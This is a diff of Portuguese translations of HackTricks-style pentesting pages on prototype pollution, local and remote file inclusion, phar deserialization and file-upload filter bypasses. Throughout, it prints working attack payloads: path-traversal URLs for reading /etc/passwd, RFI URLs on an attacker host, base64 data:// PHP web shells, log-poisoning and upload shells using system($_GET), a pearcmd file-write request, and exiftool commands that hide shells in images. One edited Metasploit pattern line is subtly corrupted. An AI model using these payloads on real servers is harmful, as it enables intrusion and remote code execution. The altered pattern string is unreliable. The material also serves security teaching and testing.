**Referência Externa**: Um problema relacionado à poluição de protótipos foi encontrado na biblioteca 'flat', conforme detalhado aqui: [Issue on GitHub](https://github.com/hughsk/flat/issues/105).
|
||||
|
||||
**Referência Externa**: [Issue relacionado à poluição de protótipos na biblioteca 'flat'](https://github.com/hughsk/flat/issues/105)
|
||||
**Referência Externa**: [Issue related to prototype pollution in the 'flat' library](https://github.com/hughsk/flat/issues/105)
|
||||
|
||||
Exemplo de exploração de poluição de protótipos em Python:
|
||||
```python
|
||||
@ -339,7 +341,7 @@ Para reduzir o risco de poluição de protótipos, as estratégias listadas abai
|
||||
1. **Imutabilidade de Objetos**: O `Object.prototype` pode ser tornado imutável aplicando `Object.freeze`.
|
||||
2. **Validação de Entrada**: As entradas JSON devem ser rigorosamente validadas em relação ao esquema da aplicação.
|
||||
3. **Funções de Mesclagem Seguras**: O uso inseguro de funções de mesclagem recursivas deve ser evitado.
|
||||
4. **Objetos Sem Protótipo**: Objetos sem propriedades de protótipo podem ser criados usando `Object.create(null)`.
|
||||
4. **Objetos Sem Protótipos**: Objetos sem propriedades de protótipo podem ser criados usando `Object.create(null)`.
|
||||
5. **Uso de Map**: Em vez de `Object`, `Map` deve ser usado para armazenar pares chave-valor.
|
||||
6. **Atualizações de Biblioteca**: Correções de segurança podem ser incorporadas atualizando regularmente as bibliotecas.
|
||||
7. **Ferramentas de Linter e Análise Estática**: Use ferramentas como ESLint com plugins apropriados para detectar e prevenir vulnerabilidades de poluição de protótipos.
|
||||
|
||||
@ -1,11 +1,11 @@
|
||||
# Inclusão de Arquivos/Travessia de Caminho
|
||||
# Inclusão de Arquivo/Travessia de Caminho
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Inclusão de Arquivos
|
||||
## Inclusão de Arquivo
|
||||
|
||||
**Inclusão Remota de Arquivos (RFI):** O arquivo é carregado de um servidor remoto (Melhor: Você pode escrever o código e o servidor o executará). Em php isso está **desativado** por padrão (**allow_url_include**).\
|
||||
**Inclusão Local de Arquivos (LFI):** O servidor carrega um arquivo local.
|
||||
**Inclusão de Arquivo Remoto (RFI):** O arquivo é carregado de um servidor remoto (Melhor: Você pode escrever o código e o servidor o executará). Em php isso está **desativado** por padrão (**allow_url_include**).\
|
||||
**Inclusão de Arquivo Local (LFI):** O servidor carrega um arquivo local.
|
||||
|
||||
A vulnerabilidade ocorre quando o usuário pode controlar de alguma forma o arquivo que será carregado pelo servidor.
|
||||
|
||||
@ -13,7 +13,7 @@ Funções **PHP vulneráveis**: require, require_once, include, include_once
|
||||
|
||||
Uma ferramenta interessante para explorar essa vulnerabilidade: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
|
||||
|
||||
## Cegos - Interessantes - Arquivos LFI2RCE
|
||||
## Blind - Interessante - arquivos LFI2RCE
|
||||
```python
|
||||
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
|
||||
```
|
||||
@ -21,7 +21,9 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
|
||||
|
||||
**Misturando várias listas de LFI \*nix e adicionando mais caminhos, criei esta:**
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
|
||||
{{#endref}}
|
||||
|
||||
Tente também mudar `/` por `\`\
|
||||
Tente também adicionar `../../../../../`
|
||||
@ -32,7 +34,9 @@ Uma lista que usa várias técnicas para encontrar o arquivo /etc/password (para
|
||||
|
||||
Mescla de diferentes listas de palavras:
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
|
||||
{{#endref}}
|
||||
|
||||
Tente também mudar `/` por `\`\
|
||||
Tente também remover `C:/` e adicionar `../../../../../`
|
||||
@ -49,7 +53,7 @@ Todos os exemplos são para Inclusão de Arquivo Local, mas também podem ser ap
|
||||
```
|
||||
http://example.com/index.php?page=../../../etc/passwd
|
||||
```
|
||||
### sequências de travessia removidas não recursivamente
|
||||
### sequências de travessia removidas de forma não recursiva
|
||||
```python
|
||||
http://example.com/index.php?page=....//....//....//etc/passwd
|
||||
http://example.com/index.php?page=....\/....\/....\/etc/passwd
|
||||
@ -72,7 +76,7 @@ http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
|
||||
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
|
||||
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
|
||||
```
|
||||
### De uma pasta existente
|
||||
### De pasta existente
|
||||
|
||||
Talvez o back-end esteja verificando o caminho da pasta:
|
||||
```python
|
||||
@ -144,7 +148,7 @@ No php, isso está desativado por padrão porque **`allow_url_include`** está *
|
||||
http://example.com/index.php?page=http://atacker.com/mal.php
|
||||
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||||
```
|
||||
Se por algum motivo **`allow_url_include`** está **Ativado**, mas o PHP está **filtrando** o acesso a páginas externas, [de acordo com este post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), você poderia usar, por exemplo, o protocolo de dados com base64 para decodificar um código PHP em b64 e obter RCE:
|
||||
Se por algum motivo **`allow_url_include`** está **Ativado**, mas o PHP está **filtrando** o acesso a páginas da web externas, [de acordo com este post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), você poderia usar, por exemplo, o protocolo de dados com base64 para decodificar um código PHP em b64 e obter RCE:
|
||||
```
|
||||
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
|
||||
```
|
||||
@ -225,7 +229,7 @@ Os filtros PHP permitem realizar **operações básicas de modificação nos dad
|
||||
- `convert.iconv.*` : Transforma para uma codificação diferente (`convert.iconv.<input_enc>.<output_enc>`). Para obter a **lista de todas as codificações** suportadas, execute no console: `iconv -l`
|
||||
|
||||
> [!WARNING]
|
||||
> Abusando do filtro de conversão `convert.iconv.*` você pode **gerar texto arbitrário**, o que pode ser útil para escrever texto arbitrário ou fazer uma função como incluir texto arbitrário. Para mais informações, consulte [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
|
||||
> Abusando do filtro de conversão `convert.iconv.*` você pode **gerar texto arbitrário**, o que pode ser útil para escrever texto arbitrário ou fazer uma função como incluir processar texto arbitrário. Para mais informações, consulte [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
|
||||
|
||||
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
|
||||
- `zlib.deflate`: Comprime o conteúdo (útil se exfiltrando muitas informações)
|
||||
@ -281,7 +285,7 @@ No post original, você pode encontrar uma explicação detalhada da técnica, m
|
||||
- Usando outras transformações como **rot13** no início, é possível vazar outros caracteres como n, o, p, q, r (e outros codecs podem ser usados para mover outras letras para a faixa hexadecimal).
|
||||
- Quando o caractere inicial é um número, é necessário codificá-lo em base64 e vazar as 2 primeiras letras para vazar o número.
|
||||
- O problema final é ver **como vazar mais do que a letra inicial**. Usando filtros de memória de ordem como **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** é possível mudar a ordem dos caracteres e obter na primeira posição outras letras do texto.
|
||||
- E para poder obter **mais dados** a ideia é **gerar 2 bytes de dados lixo no início** com **convert.iconv.UTF16.UTF16**, aplicar **UCS-4LE** para fazer com que **seja pivô com os próximos 2 bytes**, e **deletar os dados até os dados lixo** (isso removerá os primeiros 2 bytes do texto inicial). Continue fazendo isso até alcançar o bit desejado para vazar.
|
||||
- E para poder obter **mais dados** a ideia é **gerar 2 bytes de dados lixo no início** com **convert.iconv.UTF16.UTF16**, aplicar **UCS-4LE** para fazer **pivotar com os próximos 2 bytes**, e **deletar os dados até os dados lixo** (isso removerá os primeiros 2 bytes do texto inicial). Continue fazendo isso até alcançar o bit desejado para vazar.
|
||||
|
||||
No post, uma ferramenta para realizar isso automaticamente também foi vazada: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
||||
|
||||
@ -297,7 +301,7 @@ Você também pode usar **php://stdin, php://stdout e php://stderr** para acessa
|
||||
### zip:// e rar://
|
||||
|
||||
Carregue um arquivo Zip ou Rar com um PHPShell dentro e acesse-o.\
|
||||
Para poder abusar do protocolo rar, **ele precisa ser ativado especificamente**.
|
||||
Para poder abusar do protocolo rar, ele **precisa ser ativado especificamente**.
|
||||
```bash
|
||||
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
|
||||
zip payload.zip payload.php;
|
||||
@ -356,7 +360,7 @@ Ao ser executado, um arquivo chamado `test.phar` será criado, o que pode ser po
|
||||
|
||||
Em casos onde o LFI apenas realiza a leitura de arquivos sem executar o código PHP contido, através de funções como `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, ou `filesize()`, pode-se tentar explorar uma vulnerabilidade de desserialização. Essa vulnerabilidade está associada à leitura de arquivos usando o protocolo `phar`.
|
||||
|
||||
Para uma compreensão detalhada da exploração de vulnerabilidades de desserialização no contexto de arquivos `.phar`, consulte o documento vinculado abaixo:
|
||||
Para uma compreensão detalhada sobre como explorar vulnerabilidades de desserialização no contexto de arquivos `.phar`, consulte o documento vinculado abaixo:
|
||||
|
||||
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
|
||||
|
||||
@ -399,14 +403,14 @@ Da mesma forma, para executar comandos de sistema arbitrários, pode-se usar:
|
||||
```plaintext
|
||||
' and die(system("id")) or '
|
||||
```
|
||||
É importante **URL-encodar essas cargas**.
|
||||
É importante **URL-encode esses payloads**.
|
||||
|
||||
## PHP Blind Path Traversal
|
||||
|
||||
> [!WARNING]
|
||||
> Esta técnica é relevante em casos onde você **controla** o **caminho do arquivo** de uma **função PHP** que irá **acessar um arquivo**, mas você não verá o conteúdo do arquivo (como uma chamada simples para **`file()`**) e o conteúdo não é exibido.
|
||||
|
||||
Em [**este post incrível**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) é explicado como um blind path traversal pode ser abusado via filtro PHP para **exfiltrar o conteúdo de um arquivo através de um oracle de erro**.
|
||||
Em [**este post incrível**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) é explicado como um blind path traversal pode ser abusado via filtro PHP para **exfiltrar o conteúdo de um arquivo via um oracle de erro**.
|
||||
|
||||
Em resumo, a técnica usa a **"codificação UCS-4LE"** para tornar o conteúdo de um arquivo tão **grande** que a **função PHP que abre** o arquivo irá disparar um **erro**.
|
||||
|
||||
@ -424,14 +428,14 @@ Explicado anteriormente, [**siga este link**](./#remote-file-inclusion).
|
||||
|
||||
### Via arquivo de log do Apache/Nginx
|
||||
|
||||
Se o servidor Apache ou Nginx for **vulnerável a LFI** dentro da função include, você poderia tentar acessar **`/var/log/apache2/access.log` ou `/var/log/nginx/access.log`**, definindo dentro do **user agent** ou dentro de um **parâmetro GET** um shell PHP como **`<?php system($_GET['c']); ?>`** e incluir esse arquivo.
|
||||
Se o servidor Apache ou Nginx for **vulnerável a LFI** dentro da função include, você pode tentar acessar **`/var/log/apache2/access.log` ou `/var/log/nginx/access.log`**, definindo dentro do **user agent** ou dentro de um **parâmetro GET** um shell PHP como **`<?php system($_GET['c']); ?>`** e incluir esse arquivo.
|
||||
|
||||
> [!WARNING]
|
||||
> Note que **se você usar aspas duplas** para o shell em vez de **aspas simples**, as aspas duplas serão modificadas para a string "_**quote;**_", **PHP lançará um erro** lá e **nada mais será executado**.
|
||||
>
|
||||
> Além disso, certifique-se de **escrever corretamente a carga** ou o PHP irá gerar erro toda vez que tentar carregar o arquivo de log e você não terá uma segunda oportunidade.
|
||||
> Além disso, certifique-se de **escrever corretamente o payload** ou o PHP irá gerar erro toda vez que tentar carregar o arquivo de log e você não terá uma segunda oportunidade.
|
||||
|
||||
Isso também pode ser feito em outros logs, mas **tenha cuidado**, o código dentro dos logs pode estar URL codificado e isso pode destruir o Shell. O cabeçalho **authorisation "basic"** contém "user:password" em Base64 e é decodificado dentro dos logs. O PHPShell pode ser inserido dentro desse cabeçalho.\
|
||||
Isso também pode ser feito em outros logs, mas **tenha cuidado**, o código dentro dos logs pode estar URL encoded e isso pode destruir o Shell. O cabeçalho **authorisation "basic"** contém "user:password" em Base64 e é decodificado dentro dos logs. O PHPShell pode ser inserido dentro desse cabeçalho.\
|
||||
Outros possíveis caminhos de log:
|
||||
```python
|
||||
/var/log/apache2/access.log
|
||||
@ -464,7 +468,7 @@ User-Agent: <?=phpinfo(); ?>
|
||||
```
|
||||
### Via upload
|
||||
|
||||
Se você puder fazer upload de um arquivo, apenas injete o payload da shell nele (por exemplo: `<?php system($_GET['c']); ?>`).
|
||||
Se você puder fazer o upload de um arquivo, basta injetar a carga útil do shell nele (por exemplo: `<?php system($_GET['c']); ?>`).
|
||||
```
|
||||
http://example.com/index.php?page=path/to/uploaded/file.png
|
||||
```
|
||||
@ -476,7 +480,7 @@ Faça o upload de um arquivo ZIP contendo um shell PHP comprimido e acesse:
|
||||
```python
|
||||
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
|
||||
```
|
||||
### Via sessões PHP
|
||||
### Via PHP sessions
|
||||
|
||||
Verifique se o site usa PHP Session (PHPSESSID)
|
||||
```
|
||||
@ -502,14 +506,14 @@ Se o ssh estiver ativo, verifique qual usuário está sendo utilizado (/proc/sel
|
||||
|
||||
### **Via** **vsftpd** _**logs**_
|
||||
|
||||
Os logs para o servidor FTP vsftpd estão localizados em _**/var/log/vsftpd.log**_. No cenário em que uma vulnerabilidade de Local File Inclusion (LFI) existe, e o acesso a um servidor vsftpd exposto é possível, os seguintes passos podem ser considerados:
|
||||
Os logs para o servidor FTP vsftpd estão localizados em _**/var/log/vsftpd.log**_. No cenário em que existe uma vulnerabilidade de Local File Inclusion (LFI) e o acesso a um servidor vsftpd exposto é possível, os seguintes passos podem ser considerados:
|
||||
|
||||
1. Injete um payload PHP no campo de nome de usuário durante o processo de login.
|
||||
2. Após a injeção, utilize o LFI para recuperar os logs do servidor de _**/var/log/vsftpd.log**_.
|
||||
|
||||
### Via php base64 filter (using base64)
|
||||
|
||||
Como mostrado [neste](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) artigo, o filtro base64 do PHP simplesmente ignora o que não é base64. Você pode usar isso para contornar a verificação da extensão do arquivo: se você fornecer base64 que termina com ".php", ele apenas ignorará o "." e anexará "php" ao base64. Aqui está um exemplo de payload:
|
||||
Como mostrado neste [link](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) artigo, o filtro PHP base64 simplesmente ignora Non-base64. Você pode usar isso para contornar a verificação de extensão de arquivo: se você fornecer base64 que termina com ".php", ele apenas ignorará o "." e anexará "php" ao base64. Aqui está um exemplo de payload:
|
||||
```url
|
||||
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
|
||||
|
||||
@ -549,7 +553,7 @@ via-php_session_upload_progress.md
|
||||
|
||||
### Via uploads de arquivos temporários no Windows
|
||||
|
||||
Se você encontrou uma **Inclusão de Arquivo Local** e o servidor está rodando em **Windows**, você pode conseguir RCE:
|
||||
Se você encontrou uma **Inclusão de Arquivo Local** e o servidor está rodando em **Windows**, você pode obter RCE:
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-temp-file-uploads.md
|
||||
@ -557,7 +561,7 @@ lfi2rce-via-temp-file-uploads.md
|
||||
|
||||
### Via `pearcmd.php` + argumentos de URL
|
||||
|
||||
Como [**explicado neste post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), o script `/usr/local/lib/phppearcmd.php` existe por padrão nas imagens docker do php. Além disso, é possível passar argumentos para o script via URL porque está indicado que se um parâmetro de URL não tiver um `=`, ele deve ser usado como um argumento.
|
||||
Como [**explicado neste post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), o script `/usr/local/lib/phppearcmd.php` existe por padrão em imagens docker do php. Além disso, é possível passar argumentos para o script via URL porque está indicado que se um parâmetro de URL não tiver um `=`, ele deve ser usado como um argumento.
|
||||
|
||||
A seguinte solicitação cria um arquivo em `/tmp/hello.php` com o conteúdo `<?=phpinfo()?>`:
|
||||
```bash
|
||||
@ -588,7 +592,7 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
|
||||
|
||||
### Via eternal waiting + bruteforce
|
||||
|
||||
Se você pode abusar do LFI para **fazer upload de arquivos temporários** e fazer o servidor **congelar** a execução do PHP, você poderia então **forçar nomes de arquivos durante horas** para encontrar o arquivo temporário:
|
||||
Se você pode abusar do LFI para **carregar arquivos temporários** e fazer o servidor **congelar** a execução do PHP, você poderia então **forçar nomes de arquivos durante horas** para encontrar o arquivo temporário:
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-eternal-waiting.md
|
||||
@ -599,7 +603,7 @@ lfi2rce-via-eternal-waiting.md
|
||||
Se você incluir qualquer um dos arquivos `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Você precisa incluir o mesmo duas vezes para gerar esse erro).
|
||||
|
||||
**Eu não sei como isso é útil, mas pode ser.**\
|
||||
&#xNAN;_E mesmo que você cause um PHP Fatal Error, os arquivos temporários do PHP enviados são excluídos._
|
||||
&#xNAN;_E mesmo que você cause um PHP Fatal Error, os arquivos temporários do PHP carregados são excluídos._
|
||||
|
||||
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
||||
@ -2,11 +2,9 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
**Arquivos Phar** (PHP Archive) **contêm metadados em formato serializado**, então, quando analisados, esses **metadados** são **desserializados** e você pode tentar explorar uma vulnerabilidade de **desserialização** dentro do código **PHP**.
|
||||
|
||||
A melhor parte sobre essa característica é que essa desserialização ocorrerá mesmo usando funções PHP que não avaliam código PHP como **file_get_contents(), fopen(), file() ou file_exists(), md5_file(), filemtime() ou filesize()**.
|
||||
A melhor parte dessa característica é que essa desserialização ocorrerá mesmo usando funções PHP que não avaliam código PHP como **file_get_contents(), fopen(), file() ou file_exists(), md5_file(), filemtime() ou filesize()**.
|
||||
|
||||
Então, imagine uma situação onde você pode fazer um web PHP obter o tamanho de um arquivo arbitrário usando o protocolo **`phar://`**, e dentro do código você encontra uma **classe** semelhante à seguinte:
|
||||
```php:vunl.php
|
||||
@ -61,8 +59,8 @@ php vuln.php
|
||||
```
|
||||
### Referências
|
||||
|
||||
{% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %}
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://blog.ripstech.com/2018/new-php-exploitation-technique/
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,7 +2,6 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Metodologia Geral de Upload de Arquivo
|
||||
|
||||
Outras extensões úteis:
|
||||
@ -16,7 +15,7 @@ Outras extensões úteis:
|
||||
- **Perl**: _.pl, .cgi_
|
||||
- **Erlang Yaws Web Server**: _.yaws_
|
||||
|
||||
### Bypass nas verificações de extensões de arquivo
|
||||
### Bypass de verificações de extensões de arquivo
|
||||
|
||||
1. Se aplicável, **verifique** as **extensões anteriores.** Teste-as também usando algumas **letras maiúsculas**: _pHp, .pHP5, .PhAr ..._
|
||||
2. _Verifique **adicionando uma extensão válida antes** da extensão de execução (use também as extensões anteriores):_
|
||||
@ -44,7 +43,7 @@ Outras extensões úteis:
|
||||
5. Adicione **outra camada de extensões** à verificação anterior:
|
||||
- _file.png.jpg.php_
|
||||
- _file.php%00.png%00.jpg_
|
||||
6. Tente colocar a **extensão exec antes da extensão válida** e reze para que o servidor esteja mal configurado. (útil para explorar configurações incorretas do Apache onde qualquer coisa com extensão **_**.php**_**, mas** não necessariamente terminando em .php** executará código):
|
||||
6. Tente colocar a **extensão exec antes da extensão válida** e torça para que o servidor esteja mal configurado. (útil para explorar configurações incorretas do Apache onde qualquer coisa com extensão **_**.php**_**, mas** não necessariamente terminando em .php** executará código):
|
||||
- _ex: file.php.png_
|
||||
7. Usando **fluxo de dados alternativo NTFS (ADS)** no **Windows**. Nesse caso, um caractere de dois pontos “:” será inserido após uma extensão proibida e antes de uma permitida. Como resultado, um **arquivo vazio com a extensão proibida** será criado no servidor (por exemplo, “file.asax:.jpg”). Este arquivo pode ser editado posteriormente usando outras técnicas, como usar seu nome de arquivo curto. O padrão “**::$data**” também pode ser usado para criar arquivos não vazios. Portanto, adicionar um caractere de ponto após esse padrão também pode ser útil para contornar mais restrições (por exemplo, “file.asp::$data.”)
|
||||
8. Tente quebrar os limites do nome do arquivo. A extensão válida é cortada. E o PHP malicioso é deixado. AAA<--SNIP-->AAA.php
|
||||
@ -52,7 +51,7 @@ Outras extensões úteis:
|
||||
```
|
||||
# Linux máximo 255 bytes
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # menos 4 aqui e adicionando .png
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ab3Ab4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # menos 4 aqui e adicionando .png
|
||||
# Faça o upload do arquivo e verifique a resposta quantos caracteres ele permite. Vamos supor 236
|
||||
python -c 'print "A" * 232'
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
@ -60,19 +59,19 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAA<--SNIP 232 A-->AAA.php.png
|
||||
```
|
||||
|
||||
### Bypass Content-Type, Magic Number, Compressão & Redimensionamento
|
||||
### Bypass de Content-Type, Número Mágico, Compressão e Redimensionamento
|
||||
|
||||
- Bypass nas verificações de **Content-Type** definindo o **valor** do **cabeçalho Content-Type** para: _image/png_, _text/plain_, application/octet-stream_
|
||||
1. **Wordlist** de Content-Type: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||||
- Bypass na verificação de **magic number** adicionando no início do arquivo os **bytes de uma imagem real** (confundir o comando _file_). Ou introduza o shell dentro dos **metadados**:\
|
||||
- Bypass das verificações de **Content-Type** definindo o **valor** do **cabeçalho Content-Type** para: _image/png_, _text/plain_, application/octet-stream_
|
||||
1. Lista de palavras do Content-Type: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||||
- Bypass da verificação de **número mágico** adicionando no início do arquivo os **bytes de uma imagem real** (confundir o comando _file_). Ou introduza o shell dentro dos **metadados**:\
|
||||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||
`\` ou você também poderia **introduzir o payload diretamente** em uma imagem:\
|
||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||
- Se **compressões estão sendo adicionadas à sua imagem**, por exemplo, usando algumas bibliotecas padrão do PHP como [PHP-GD](https://www.php.net/manual/fr/book.image.php), as técnicas anteriores não serão úteis. No entanto, você poderia usar o **chunk PLTE** [**técnica definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que **sobreviva à compressão**.
|
||||
- Se **compressão estiver sendo adicionada à sua imagem**, por exemplo, usando algumas bibliotecas PHP padrão como [PHP-GD](https://www.php.net/manual/fr/book.image.php), as técnicas anteriores não serão úteis. No entanto, você poderia usar a **técnica do chunk PLTE** [**definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que **sobreviva à compressão**.
|
||||
- [**Github com o código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
|
||||
- A página da web também pode estar **redimensionando** a **imagem**, usando por exemplo as funções do PHP-GD `imagecopyresized` ou `imagecopyresampled`. No entanto, você poderia usar o **chunk IDAT** [**técnica definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que **sobreviva à compressão**.
|
||||
- A página da web também pode estar **redimensionando** a **imagem**, usando, por exemplo, as funções PHP-GD `imagecopyresized` ou `imagecopyresampled`. No entanto, você poderia usar a **técnica do chunk IDAT** [**definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que **sobreviva à compressão**.
|
||||
- [**Github com o código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
|
||||
- Outra técnica para fazer um payload que **sobrevive a um redimensionamento de imagem**, usando a função do PHP-GD `thumbnailImage`. No entanto, você poderia usar o **chunk tEXt** [**técnica definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que **sobreviva à compressão**.
|
||||
- Outra técnica para fazer um payload que **sobrevive a um redimensionamento de imagem**, usando a função PHP-GD `thumbnailImage`. No entanto, você poderia usar a **técnica do chunk tEXt** [**definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que **sobreviva à compressão**.
|
||||
- [**Github com o código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
|
||||
|
||||
### Outros Truques a verificar
|
||||
@ -82,30 +81,30 @@ AAA<--SNIP 232 A-->AAA.php.png
|
||||
- **Possível divulgação de informações**:
|
||||
1. Faça o upload **várias vezes** (e ao **mesmo tempo**) do **mesmo arquivo** com o **mesmo nome**
|
||||
2. Faça o upload de um arquivo com o **nome** de um **arquivo** ou **pasta** que **já existe**
|
||||
3. Fazendo o upload de um arquivo com **“.”, “..”, ou “…” como seu nome**. Por exemplo, no Apache em **Windows**, se a aplicação salvar os arquivos enviados no diretório “/www/uploads/”, o nome de arquivo “.” criará um arquivo chamado “uploads” no diretório “/www/”.
|
||||
3. Fazendo upload de um arquivo com **“.”, “..” ou “…” como seu nome**. Por exemplo, no Apache em **Windows**, se a aplicação salvar os arquivos enviados no diretório “/www/uploads/”, o nome de arquivo “.” criará um arquivo chamado “uploads” no diretório “/www/”.
|
||||
4. Faça o upload de um arquivo que pode não ser facilmente excluído, como **“…:.jpg”** em **NTFS**. (Windows)
|
||||
5. Faça o upload de um arquivo no **Windows** com **caracteres inválidos** como `|<>*?”` em seu nome. (Windows)
|
||||
6. Faça o upload de um arquivo no **Windows** usando **nomes reservados** (**proibidos**) como CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, e LPT9.
|
||||
- Tente também **fazer o upload de um executável** (.exe) ou um **.html** (menos suspeito) que **executará código** quando acidentalmente aberto pela vítima.
|
||||
